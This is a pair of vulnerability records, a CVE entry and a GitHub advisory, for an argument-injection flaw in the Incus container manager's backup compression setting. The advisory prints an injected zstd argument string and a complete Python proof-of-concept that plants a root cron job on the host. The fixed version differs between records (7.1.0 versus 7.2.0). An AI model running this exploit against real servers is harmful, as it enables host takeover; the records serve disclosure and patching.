{
  "affected": [
    {
      "affectedData": [
        {
          "product": "incus",
          "vendor": "lxc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.2.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Incus is a system container and virtual machine manager. Prior to version 7.1.0, improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. Version 7.1.0 patches the issue."
    }
  ],
  "id": "CVE-2026-48755",
  "lastModified": "2026-08-21T22:16:37.973",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48755",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-21T21:00:19.912339Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-21T15:16:41.077",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:03:31Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nImproper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n    return fmt.Errorf(\"Compression algorithm %q isn\u0027t currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) \u003e 1 {\n    args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:\n\n    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- \u003csource\u003e\n\nThe direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -\u003e str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -\u003e str:\n    return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -\u003e str:\n    return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -\u003e str:\n    if not path.startswith(\"/\"):\n        raise ValueError(\"--guest-path must be absolute\")\n    if \"..\" in PurePosixPath(path).parts:\n        raise ValueError(\"--guest-path must not contain \u0027..\u0027\")\n    return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -\u003e str:\n    if args.source_host_path:\n        return args.source_host_path\n    return os.path.join(\n        args.incus_dir,\n        \"storage-pools\",\n        args.pool,\n        args.storage_kind,\n        project_instance(args.project, args.instance),\n        \"rootfs\",\n        clean_guest_path(args.guest_path),\n    )\n\n\ndef cron(command: str) -\u003e bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -\u003e requests.Session:\n    s = requests.Session()\n    s.verify = False if args.insecure else (args.cacert or True)\n    if args.cert or args.key:\n        s.cert = (args.cert, args.key)\n    if args.token:\n        s.headers[\"Authorization\"] = \"Bearer \" + args.token\n    s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n    if args.insecure:\n        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]\n    return s\n\n\ndef check(resp: requests.Response, what: str) -\u003e requests.Response:\n    if resp.status_code \u003e= 400:\n        try:\n            detail: Any = resp.json()\n        except Exception:\n            detail = resp.text[:2048]\n        raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n    return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -\u003e None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n    headers = {\n        \"Content-Type\": \"application/octet-stream\",\n        \"X-Incus-type\": \"file\",\n        \"X-Incus-write\": \"overwrite\",\n        \"X-Incus-uid\": \"0\",\n        \"X-Incus-gid\": \"0\",\n        \"X-Incus-mode\": \"0644\",\n    }\n    print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -\u003e None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n    print(\"[*] sending direct backup request\")\n    resp = s.post(\n        url,\n        data=json.dumps(body).encode(),\n        headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n        timeout=args.timeout,\n        stream=True,\n    )\n    print(f\"[*] backup HTTP {resp.status_code}\")\n    resp.close()\n    if resp.status_code \u003e= 400:\n        print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n    p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n    p.add_argument(\"--cert\", help=\"client certificate PEM\")\n    p.add_argument(\"--key\", help=\"client private key PEM\")\n    p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n    p.add_argument(\"--token\", help=\"bearer token\")\n    p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    p.add_argument(\"--timeout\", type=int, default=180)\n\n    p.add_argument(\"--project\", default=\"default\")\n    p.add_argument(\"--instance\", required=True)\n    p.add_argument(\"--pool\", default=\"default\")\n    p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n    p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n    p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n    p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n    p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n    p.add_argument(\"--command\", default=\"date \u003e/incus-zstd-rce; id \u003e\u003e/incus-zstd-rce\")\n\n    p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n    p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n    args = p.parse_args()\n\n    if urllib.parse.urlparse(args.url).scheme != \"https\":\n        p.error(\"--url must use https\")\n    if bool(args.cert) != bool(args.key):\n        p.error(\"--cert and --key must be supplied together\")\n    if args.execute and not args.yes_i_understand_this_writes_host_file:\n        p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n    try:\n        clean_guest_path(args.guest_path)\n    except ValueError as exc:\n        p.error(str(exc))\n\n    args.url = args.url.rstrip(\"/\")\n    return args\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    src = source_path(args)\n    payload = cron(args.command)\n    compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n    body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n    print(\"[*] target:\", args.url)\n    print(\"[*] project:\", args.project)\n    print(\"[*] instance:\", args.instance)\n    print(\"[*] source host path:\", src)\n    print(\"[*] cron path:\", args.cron_path)\n    print(\"[*] payload:\", payload.decode().rstrip())\n    print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n    if not args.execute:\n        print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n        return 0\n\n    s = session(args)\n    upload(s, args, payload)\n    trigger_backup(s, args, body)\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with `zstd` and possibly arbitrary command execution.",
  "id": "GHSA-v6mj-8pf4-hhw4",
  "modified": "2026-06-26T19:03:31Z",
  "published": "2026-06-26T19:03:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an argument injection in backup compression algorithm leading to AFW and ACE"
}